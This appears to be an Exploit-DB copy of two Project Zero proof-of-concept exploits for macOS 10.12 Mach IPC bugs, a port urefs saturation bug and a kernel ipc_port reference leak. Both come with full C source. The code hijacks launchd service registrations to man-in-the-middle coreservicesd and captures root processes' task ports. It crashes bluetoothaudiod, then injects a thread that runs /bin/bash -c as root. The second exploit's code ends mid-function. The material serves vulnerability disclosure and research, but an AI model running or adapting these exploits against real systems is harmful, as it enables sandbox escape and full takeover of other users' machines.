      ports = (mach_port_t *) dsc->address;
      for (j = 0; j < dsc->count; j++, ports++)  {
          mach_msg_destroy_port(*ports, dsc->disposition); // calls mach_port_deallocate
      }
    ...

This will call mach_port_deallocate for each ool_port name received.

If we send such a service a mach message with eg 0x20000 copies of the same port right as ool ports the ipc_entry for that name will actually only have
0xfffe urefs. After 0xfffe calls to mach_port_deallocate the urefs will hit 0 and the kernel will free the ipc_entry and mark that name as free. From this
point on the name can be re-used to name another right (for example by sending another message received on another thread) but the first thread will
still call mach_port_deallocate 0x10002 times on that name.

This leads to something like a use-after-deallocate of the mach port name - strictly a userspace bug (there's no kernel memory corruption etc here) but
caused by a kernel bug.

** Doing something interesting **

Here's one example of how this bug could be used to elevate privileges/escape from sandboxes:

All processes have send rights to the bootstrap server (launchd). When they wish to lookup a service they send messages to this port.

Process A and B run as the same user; A is sandboxed, B isn't. B implements a mach service and A has looked up a send right to the service vended by
B via launchd.

Process A builds a mach message with 0x10000 ool send rights to the bootstrap server and sends this message to B. B receives the message inside mach_msg_server
(or a similar function.) When the kernel copies out this message to process B it sees that B already has a name for the boostrap port so increments the urefs count
for that name for each ool port in the message - there are 0x10000 of those but the urefs count stops incrementing at 0xfffe (but the copy outs still succeed and
process B sees 0x10000 copies of the same name in the received ool ports descriptor.)

Process B sees that the message doesn't match its MIG schema and passes it to mach_msg_destroy, which calls mach_port_deallocate 0x10000 times, destroying the rights
carried in the ool ports; since the bootstrap_port name only has 0xfffe urefs after the 0xfffe'th mach_port_deallocate this actually frees the boostrap_port's
name in process B meaning that it can be reused to name another port right. The important thing to notice here is that process B still believes that the name names
a send right to launchd (and it will just read the name from the bootstrap_port global variable.)

Process A can then allocate new mach port receive rights and send another message containing send rights to these new ports to process B and try to get the old name
reused to name one of these send rights - now when process B tries to communicate with launchd it will instead be communicating with process A.

Turning this into code execution outside of the sandbox would depend on what you could transativly do by impersonating launchd in such a fashion but it's surely possible.

Another approach with a more clear path to code execution would be to replace the IOKit master device port using the same technique - there's then a short path to getting
the target's task port if it tries to open a new IOKit user client since it will pass its task port to io_service_open_extended.

** poc **

This PoC just demonstrates the ability to cause the boostrap port name to be freed in another process - this should be proof enough that there's a very serious bug here.

Use a kernel debugger and showtaskrights to see that sharingd's name for the bootstrap port has been freed but that in userspace the bootstrap_port global is still the old name.

I will work on a full exploit but it's a non-trivial task! Please reach out to me ASAP if you require any futher information about the impact of this bug.

Tested on MacOS Sierra 10.12 (16A323)

################################################################################

Exploit attached :)

The challenge to exploiting this bug is getting the exact same port name reused
in an interesting way.

This requires us to dig in a bit to exacly what a port name is, how they're allocated
and under what circumstances they'll be reused.

Mach ports are stored in a flat array of ipc_entrys:

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
64 times it will have the same generation number.

The generation number is checked in ipc_entry_lookup:

  if (index <  space->is_table_size) {
                entry = &space->is_table[index];
    if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
        IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
      entry = IE_NULL;    
  }

here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.

Entry allocation:
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will 
be grown. The table is never shrunk.

Reliably looping mach port names:
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.

After triggering the urefs bug to free the target mach port name in the target process we immediately
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
contained in the message (but with an incremented generation number.)
Since this message is not expected by the service (in this case we send an
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of 
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
N entries down the freelist.

We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
in the table is allocated it will have exactly the same mach port name as the original target right we
triggered the urefs bug on.

For this PoC I target the send right to com.apple.CoreServices.coreservicesd which launchd has.

I look up the coreservicesd service in launchd then use the urefs bug to free launchd's send right and use the
looper messages to spin the generation number round. I then register a large number of dummy services
with launchd so that one of them reuses the same mach port name as launchd thinks the coreservicesd service has.

Now when any process looks up com.apple.CoreServices.coreservicesd launchd will actually send them a send right
to one of my dummy services :)

I add all those dummy services to a portset and use that recieve right and the legitimate coreservicesd send right
I still have to MITM all these new connections to coreservicesd. I look up a few root services which send their
task ports to coreservices and grab these task ports in the mitm and start a new thread in the uid 0 process to run a shell command as root :)

The whole flow seems to work about 50% of the time.
*/

// ianbeer
// build: clang -o service_mitm service_mitm.c

#if 0
Exploit for the urefs saturation bug

The challenge to exploiting this bug is getting the exact same port name reused
in an interesting way.

This requires us to dig in a bit to exacly what a port name is, how they're allocated
and under what circumstances they'll be reused.

Mach ports are stored in a flat array of ipc_entrys:

	struct ipc_entry {
		struct ipc_object *ie_object;
		ipc_entry_bits_t ie_bits;
		mach_port_index_t ie_index;
		union {
			mach_port_index_t next;		/* next in freelist, or...  */
			ipc_table_index_t request;	/* dead name request notify */
		} index;
	};

mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
64 times it will have the same generation number.

The generation number is checked in ipc_entry_lookup:

	if (index <  space->is_table_size) {
                entry = &space->is_table[index];
		if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
		    IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
			entry = IE_NULL;		
	}

here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.

Entry allocation:
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will 
be grown. The table is never shrunk.

Reliably looping mach port names:
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.

After triggering the urefs bug to free the target mach port name in the target process we immediately
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
contained in the message (but with an incremented generation number.)
Since this message is not expected by the service (in this case we send an
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of 
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
N entries down the freelist.

We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
in the table is allocated it will have exactly the same mach port name as the original target right we
triggered the urefs bug on.

For this PoC I target the send right to com.apple.CoreServices.coreservicesd which launchd has.

I look up the coreservicesd service in launchd then use the urefs bug to free launchd's send right and use the
looper messages to spin the generation number round. I then register a large number of dummy services
with launchd so that one of them reuses the same mach port name as launchd thinks the coreservicesd service has.

Now when any process looks up com.apple.CoreServices.coreservicesd launchd will actually send them a send right
to one of my dummy services :)

I add all those dummy services to a portset and use that recieve right and the legitimate coreservicesd send right
I still have to MITM all these new connections to coreservicesd. I look up a few root services which send their
task ports to coreservices and grab these task ports in the mitm and start a new thread in the uid 0 process to run a shell command as root :)

The whole flow seems to work about 50% of the time.
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <libproc.h>
#include <pthread.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>

void run_command(mach_port_t target_task, char* command) {
  kern_return_t err;

  size_t command_length = strlen(command) + 1;
  size_t command_page_length = ((command_length + 0xfff) >> 12) << 12;
  command_page_length += 1; // for the stack

  // allocate some memory in the task
  mach_vm_address_t command_addr = 0;
  err = mach_vm_allocate(target_task,
                         &command_addr,
                         command_page_length,
                         VM_FLAGS_ANYWHERE);

  if (err != KERN_SUCCESS) {
    printf("mach_vm_allocate: %s\n", mach_error_string(err));
    return;
  }

  printf("allocated command at %llx\n", command_addr);
  uint64_t bin_bash = command_addr;
  uint64_t dash_c = command_addr + 0x10;
  uint64_t cmd = command_addr + 0x20;
  uint64_t argv = command_addr + 0x800;

  uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0};

  err = mach_vm_write(target_task,
                      bin_bash,
                      (mach_vm_offset_t)"/bin/bash",
                      strlen("/bin/bash") + 1);

  err = mach_vm_write(target_task,
                      dash_c,
                      (mach_vm_offset_t)"-c",
                      strlen("-c") + 1);

  err = mach_vm_write(target_task,
                      cmd,
                      (mach_vm_offset_t)command,
                      strlen(command) + 1);

  err = mach_vm_write(target_task,
                      argv,
                      (mach_vm_offset_t)argv_contents,
                      sizeof(argv_contents));

  if (err != KERN_SUCCESS) {
    printf("mach_vm_write: %s\n", mach_error_string(err));
    return;
  }

  // create a new thread:
  mach_port_t new_thread = MACH_PORT_NULL;
  x86_thread_state64_t state;
  mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT;

  memset(&state, 0, sizeof(state));

  // the minimal register state we require:
  state.__rip = (uint64_t)execve;
  state.__rdi = (uint64_t)bin_bash;
  state.__rsi = (uint64_t)argv;
  state.__rdx = (uint64_t)0;

  err = thread_create_running(target_task,
                              x86_THREAD_STATE64,
                              (thread_state_t)&state,
                              stateCount,
                              &new_thread);

  if (err != KERN_SUCCESS) {
    printf("thread_create_running: %s\n", mach_error_string(err));
    return;
  }

  printf("done?\n");
}


mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  if (service_port == MACH_PORT_NULL) {
    printf("bad service port\n");
    return MACH_PORT_NULL;
  }
  return service_port;
}

/*
host_service is the service which is hosting the port we want to free (eg the bootstrap port)
target_port is a send-right to the port we want to get free'd in the host service (eg another service port in launchd)
*/

struct ool_msg  {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_ool_ports_descriptor_t ool_ports;
};

// this msgh_id is an XPC message
uint32_t msgh_id_to_get_destroyed = 0x10000000;

void do_free(mach_port_t host_service, mach_port_t target_port) {
  kern_return_t err;

  int port_count = 0x10000;
  mach_port_t* ports = malloc(port_count * sizeof(mach_port_t));
  for (int i = 0; i < port_count; i++) {
    ports[i] = target_port;
  }

  // build the message to free the target port name
  struct ool_msg* free_msg = malloc(sizeof(struct ool_msg));
  memset(free_msg, 0, sizeof(struct ool_msg));

  free_msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  free_msg->hdr.msgh_size = sizeof(struct ool_msg);
  free_msg->hdr.msgh_remote_port = host_service;
  free_msg->hdr.msgh_local_port = MACH_PORT_NULL;
  free_msg->hdr.msgh_id = msgh_id_to_get_destroyed;

  free_msg->body.msgh_descriptor_count = 1;
  
  free_msg->ool_ports.address = ports;
  free_msg->ool_ports.count = port_count;
  free_msg->ool_ports.deallocate = 0;
  free_msg->ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
  free_msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
  free_msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;

  // send the free message
  err = mach_msg(&free_msg->hdr,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct ool_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  printf("free message: %s\n", mach_error_string(err));
}

void send_looper(mach_port_t service, mach_port_t* ports, uint32_t n_ports, int disposition) {
  kern_return_t err;
  struct ool_msg msg = {0};
  msg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
  msg.hdr.msgh_size = sizeof(msg);
  msg.hdr.msgh_remote_port = service;
  msg.hdr.msgh_local_port = MACH_PORT_NULL;
  msg.hdr.msgh_id = msgh_id_to_get_destroyed;

  msg.body.msgh_descriptor_count = 1;

  msg.ool_ports.address = (void*)ports;
  msg.ool_ports.count = n_ports;
  msg.ool_ports.disposition = disposition;
  msg.ool_ports.deallocate = 0;
  msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;

  err = mach_msg(&msg.hdr,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct ool_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);
  printf("sending looper: %s\n", mach_error_string(err));

  // need to wait a little bit since we don't send a reply port and don't want to fill the queue
  usleep(100);
}

mach_port_right_t right_fixup(mach_port_right_t in) {
  switch (in) {
    case MACH_MSG_TYPE_PORT_SEND:
      return MACH_MSG_TYPE_MOVE_SEND;
    case MACH_MSG_TYPE_PORT_SEND_ONCE:
      return MACH_MSG_TYPE_MOVE_SEND_ONCE;
    case MACH_MSG_TYPE_PORT_RECEIVE:
      return MACH_MSG_TYPE_MOVE_RECEIVE;
    default:
      return 0; // no rights
  }
}

int ran_command = 0;

void inspect_port(mach_port_t port) {
  pid_t pid = 0;
  pid_for_task(port, &pid);
  if (pid != 0) {
    printf("got task port for pid: %d\n", pid);
  }
	// find the uid
  int proc_err;
  struct proc_bsdshortinfo info = {0};
  proc_err = proc_pidinfo(pid, PROC_PIDT_SHORTBSDINFO, 0, &info, sizeof(info));
  if (proc_err <= 0) {
    // fail
    printf("proc_pidinfo failed\n");
    return;
  }

	if (info.pbsi_uid == 0) {
		printf("got r00t!! ******************\n");
    printf("(via task port for: %s)\n", info.pbsi_comm);
	  if (!ran_command) {
      run_command(port, "echo hello > /tmp/hello_from_root");
      ran_command = 1;
    }
  }

  return;
}

/*
implements the mitm
replacer_portset contains receive rights for all the ports we send to launchd
to replace the real service port

real_service_port is a send-right to the actual service

receive messages on replacer_portset, inspect them, then fix them up and send them along
to the real service
*/
void do_service_mitm(mach_port_t real_service_port, mach_port_t replacer_portset) {
  size_t max_request_size = 0x10000;	
	mach_msg_header_t* request = malloc(max_request_size);

  for(;;) {
    memset(request, 0, max_request_size);
    kern_return_t err = mach_msg(request,
                                 MACH_RCV_MSG | 
                                 MACH_RCV_LARGE, // leave larger messages in the queue
                                 0,
                                 max_request_size,
                                 replacer_portset,
                                 0,
                                 0);

    if (err == MACH_RCV_TOO_LARGE) {
      // bump up the buffer size
      mach_msg_size_t new_size = request->msgh_size + 0x1000;
      request = realloc(request, new_size);
      // try to receive again
      continue;
    }

    if (err != KERN_SUCCESS) {
      printf("error receiving on port set: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }

    printf("got a request, fixing it up...\n");

    // fix up the message such that it can be forwarded:

    // get the rights we were sent for each port the header
    mach_port_right_t remote = MACH_MSGH_BITS_REMOTE(request->msgh_bits);
    mach_port_right_t voucher = MACH_MSGH_BITS_VOUCHER(request->msgh_bits);
   
    // fixup the header ports:
    // swap the remote port we received into the local port we'll forward
    // this means we're only mitm'ing in one direction - we could also
    // intercept these replies if necessary
    request->msgh_local_port = request->msgh_remote_port;
    request->msgh_remote_port = real_service_port;
    // voucher port stays the same

    int is_complex = MACH_MSGH_BITS_IS_COMPLEX(request->msgh_bits);
    
    // (remote, local, voucher)
    request->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, right_fixup(remote), right_fixup(voucher));

    if (is_complex) {
      request->msgh_bits |= MACH_MSGH_BITS_COMPLEX;

      // if it's complex we also need to fixup all the descriptors...
      mach_msg_body_t* body = (mach_msg_body_t*)(request+1);
      mach_msg_type_descriptor_t* desc = (mach_msg_type_descriptor_t*)(body+1);
      for (mach_msg_size_t i = 0; i < body->msgh_descriptor_count; i++) {
        switch (desc->type) {
          case MACH_MSG_PORT_DESCRIPTOR: {
            mach_msg_port_descriptor_t* port_desc = (mach_msg_port_descriptor_t*)desc;
            inspect_port(port_desc->name);
            port_desc->disposition = right_fixup(port_desc->disposition);
            desc = (mach_msg_type_descriptor_t*)(port_desc+1);
            break;
          }
          case MACH_MSG_OOL_DESCRIPTOR: {
            mach_msg_ool_descriptor_t* ool_desc = (mach_msg_ool_descriptor_t*)desc;
            // make sure that deallocate is true; we don't want to keep this memory:
            ool_desc->deallocate = 1;
            desc = (mach_msg_type_descriptor_t*)(ool_desc+1);
            break;
          }
          case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
          case MACH_MSG_OOL_PORTS_DESCRIPTOR: {
            mach_msg_ool_ports_descriptor_t* ool_ports_desc = (mach_msg_ool_ports_descriptor_t*)desc;
            // make sure that deallocate is true:
            ool_ports_desc->deallocate = 1;
            ool_ports_desc->disposition = right_fixup(ool_ports_desc->disposition);
            desc = (mach_msg_type_descriptor_t*)(ool_ports_desc+1);
            break;
          }
        }
      }

    }

    printf("fixed up request, forwarding it\n");

    // forward the message:
    err = mach_msg(request,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   request->msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);

    if (err != KERN_SUCCESS) {
      printf("error forwarding service message: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
  }
	
}

void lookup_and_ping_service(char* name) {
  mach_port_t service_port = lookup(name);
  if (service_port == MACH_PORT_NULL) {
    printf("failed too lookup %s\n", name);
    return;
  }
  // send a ping message to make sure the service actually gets launched:
  kern_return_t err;
  mach_msg_header_t basic_msg;

  basic_msg.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  basic_msg.msgh_size        = sizeof(basic_msg);
  basic_msg.msgh_remote_port = service_port;
  basic_msg.msgh_local_port  = MACH_PORT_NULL;
  basic_msg.msgh_reserved    = 0;
  basic_msg.msgh_id          = 0x41414141;

  err = mach_msg(&basic_msg,
                 MACH_SEND_MSG,
                 sizeof(basic_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  if (err != KERN_SUCCESS) {
    printf("failed to send ping message to service %s (err: %s)\n", name, mach_error_string(err));
    return;
  }

  printf("pinged %s\n", name);
}

void* do_lookups(void* arg) {
  lookup_and_ping_service("com.apple.storeaccountd");
  lookup_and_ping_service("com.apple.hidfud");
  lookup_and_ping_service("com.apple.netauth.sys.gui");
  lookup_and_ping_service("com.apple.netauth.user.gui");
  lookup_and_ping_service("com.apple.avbdeviced");
  return NULL;
}

void start_root_lookups_thread() {
  pthread_t thread;
  pthread_create(&thread, NULL, do_lookups, NULL);
}

char* default_target_service_name = "com.apple.CoreServices.coreservicesd";

int main(int argc, char** argv) {
  char* target_service_name = default_target_service_name;
  if (argc > 1) {
    target_service_name = argv[1];
  }

	// allocate the receive rights which we will try to replace the service with:
	// (we'll also use them to loop the mach port name in the target)
	size_t n_ports = 0x1000;
  mach_port_t* ports = calloc(sizeof(void*), n_ports);
  for (int i = 0; i < n_ports; i++) {
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
    if (err != KERN_SUCCESS) {
      printf("failed to allocate port: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
		err = mach_port_insert_right(mach_task_self(),
							 ports[i],
							 ports[i],
							 MACH_MSG_TYPE_MAKE_SEND);
    if (err != KERN_SUCCESS) {
      printf("failed to insert send right: %s\n", mach_error_string(err));
      exit(EXIT_FAILURE);
    }
  }

	// generate some service names we can use:
	char** names = calloc(sizeof(char*), n_ports);
  for (int i = 0; i < n_ports; i++) {
    char name[64];
    sprintf(name, "replacer.%d", i);
    names[i] = strdup(name);
  }

  // lookup a send right to the target to be replaced
  mach_port_t target_service = lookup(target_service_name);

  // free the target in launchd
  do_free(bootstrap_port, target_service);

  // send one smaller looper message to push the free'd name down the free list:
  send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND);

  // send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist
  for (int i = 0; i < 62; i++) {
    send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND);
  }

	// now that the name should have looped round (and still be near the middle of the freelist
  // try to replace it by registering a lot of new services
  for (int i = 0; i < n_ports; i++) {
    kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]);
    if (err != KERN_SUCCESS) {
      printf("failed to register service %d, continuing anyway...\n", i);
    }
  }

  // add all those receive rights to a port set:
  mach_port_t ps;
  mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_PORT_SET, &ps);
  for (int i = 0; i < n_ports; i++) {
    mach_port_move_member(mach_task_self(), ports[i], ps);
  }

  start_root_lookups_thread();

	do_service_mitm(target_service, ps);
  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=941

Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40956.zip

The previous ref count overflow bugs were all kinda slow because they were quite deep in kernel code,
a lot of mach message and MIG code had to run for each leak.

There are a handful of mach operations which have their own fast-path syscalls (mach traps.)
One of these is _kernelrpc_mach_port_insert_right_trap which lets us create a new mach
port name in our process from a port we already have. Here's the code:

  int
  _kernelrpc_mach_port_insert_right_trap(struct _kernelrpc_mach_port_insert_right_args *args)
  {
    task_t task = port_name_to_task(args->target);
    ipc_port_t port;
    mach_msg_type_name_t disp;
    int rv = MACH_SEND_INVALID_DEST;

    if (task != current_task())
      goto done;

    rv = ipc_object_copyin(task->itk_space, args->poly, args->polyPoly,
        (ipc_object_t *)&port);
    if (rv != KERN_SUCCESS)
      goto done;
    disp =  (args->polyPoly);

    rv = mach_port_insert_right(task->itk_space, args->name, port, disp);
    
  done:
    if (task)
      task_deallocate(task);
    return (rv);
  }

ipc_object_copyin will look up the args->poly name (with the args->polyPoly rights)
in the current process's mach port namespace and return an ipc_port_t pointer in port.

If ipc_object_copyin is successful it takes a ref on the port and returns that ref to the caller.

mach_port_insert_right will consume that reference but *only* if it succeeds. If it fails then
no reference is consumed and we can leak one because _kernelrpc_mach_port_insert_right_trap
doesn't handle the failure case.

it's easy to force mach_port_insert_right to fail by specifying an invalid name for the new
right (eg MACH_PORT_NULL.)

This allows you to overflow the reference count of the port and cause a kernel UaF in about 20
minutes using a single thread.

################################################################################

LPE exploit for the kernel ipc_port_t reference leak bug

I wanted to explore some more interesting exploit primitives I could build with this bug.

One idea I had was to turn a send right for a mach port into a receive right for that port.
We can do this by using the reference count leak to cause a port for which we have a send right
to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process
which had a send right) and forcing the memory to be reallocated with a new port for which we
hold a receive right.

We could for example target a userspace IPC service and replace a send right we've looked up via
launchd with a receive right allowing us to impersonate the service to other clients.

Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case
whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those
messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is
called directly. Those kernel-owned receive rights are however still ports and we can free them using
the bug; if we can then get that memory reused as a port for which we hold a receive right we can
end up impersonating the kernel to other processes!

Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these
services we can get other processes to send us their task ports and thus gain complete control over them.

io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any
IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients
(or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService
port and the message contains the sender's task port as the owningTask parameter :)

For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened
by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen.
We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it
parses XPC messages. This doesn't require bluetooth to be enabled.

Putting this all together the flow of the exploit looks like this:

  * get a send right to the IOBluetoothHCIController IOService
  * overflow the reference count of that ipc_port to 0 and free it
  * allocate many new receive rights to reuse the freed ipc_port
  * add the new receive rights to a port set to simplify receiving messages
  * crash bluetoothaudiod forcing it to restart
  * bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService
  * bluetoothaudiod will send its task port to the IOService
  * the task port is actually sent to us as we have the receive right
  * we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND

Tested on MacOS 10.12 16a323

The technique should work exactly the same on iOS to get a task port for another process from the app sandbox.
*/

// ianbeer

#if 0
LPE exploit for the kernel ipc_port_t reference leak bug

I wanted to explore some more interesting exploit primitives I could build with this bug.

One idea I had was to turn a send right for a mach port into a receive right for that port.
We can do this by using the reference count leak to cause a port for which we have a send right
to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process
which had a send right) and forcing the memory to be reallocated with a new port for which we
hold a receive right.

We could for example target a userspace IPC service and replace a send right we've looked up via
launchd with a receive right allowing us to impersonate the service to other clients.

Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case
whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those
messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is
called directly. Those kernel-owned receive rights are however still ports and we can free them using
the bug; if we can then get that memory reused as a port for which we hold a receive right we can
end up impersonating the kernel to other processes!

Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these
services we can get other processes to send us their task ports and thus gain complete control over them.

io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any
IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients
(or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService
port and the message contains the sender's task port as the owningTask parameter :)

For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened
by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen.
We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it
parses XPC messages. This doesn't require bluetooth to be enabled.

Putting this all together the flow of the exploit looks like this:

  * get a send right to the IOBluetoothHCIController IOService
  * overflow the reference count of that ipc_port to 0 and free it
  * allocate many new receive rights to reuse the freed ipc_port
  * add the new receive rights to a port set to simplify receiving messages
  * crash bluetoothaudiod forcing it to restart
  * bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService
  * bluetoothaudiod will send its task port to the IOService
  * the task port is actually sent to us as we have the receive right
  * we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND

Tested on MacOS 10.12 16a323

The technique should work exactly the same on iOS to get a task port for another process from the app sandbox.
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <mach/mach.h>
#include <mach/mach_vm.h>

#include <xpc/xpc.h>

#include <IOKit/IOKitLib.h>

void run_command(mach_port_t target_task, char* command) {
  kern_return_t err;

  // allocate some memory in the task
  mach_vm_address_t command_addr = 0;
  err = mach_vm_allocate(target_task,
                         &command_addr,
                         0x1000,
                         VM_FLAGS_ANYWHERE);

  if (err != KERN_SUCCESS) {
    printf("mach_vm_allocate: %s\n", mach_error_string(err));
    return;
  }

  printf("allocated command at %zx\n", command_addr);
  uint64_t bin_bash = command_addr;
  uint64_t dash_c = command_addr + 0x10;
  uint64_t cmd = command_addr + 0x20;
  uint64_t argv = command_addr + 0x800;

  uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0};

  err = mach_vm_write(target_task,
                      bin_bash,
                      "/bin/bash",
                      strlen("/bin/bash") + 1);
 
  err = mach_vm_write(target_task,
                      dash_c,
                      "-c",
                      strlen("-c") + 1);

  err = mach_vm_write(target_task,
                      cmd,
                      command,
                      strlen(command) + 1);

  err = mach_vm_write(target_task,
                      argv,
                      argv_contents,
                      sizeof(argv_contents));
 
  if (err != KERN_SUCCESS) {
    printf("mach_vm_write: %s\n", mach_error_string(err));
    return;
  }

  // create a new thread:
  mach_port_t new_thread = MACH_PORT_NULL;
  x86_thread_state64_t state;
  mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT;

  memset(&state, 0, sizeof(state));

  // the minimal register state we require:
  state.__rip = (uint64_t)execve;
  state.__rdi = (uint64_t)bin_bash;
  state.__rsi = (uint64_t)argv;
  state.__rdx = (uint64_t)0;

  err = thread_create_running(target_task,
                              x86_THREAD_STATE64,
                              (thread_state_t)&state,
                              stateCount,
                              &new_thread);

  if (err != KERN_SUCCESS) {
    printf("thread_create_running: %s\n", mach_error_string(err));
    return;
  }

  printf("done?\n");
}

void force_bluetoothaudiod_restart() {
  xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

  xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
    xpc_type_t t = xpc_get_type(event);
    if (t == XPC_TYPE_ERROR){
      printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
    }
    printf("received an event\n");
  });
  xpc_connection_resume(conn);

  xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);

  xpc_dictionary_set_string(msg, "BTMethod", "BTCoreAudioPassthrough");

  xpc_connection_send_message(conn, msg);

  printf("waiting to make sure launchd knows the target has crashed\n");
  usleep(100000);

  printf("bluetoothaudiod should have crashed now\n");

  xpc_release(msg);

	// connect to the service again and send a message to force it to restart:
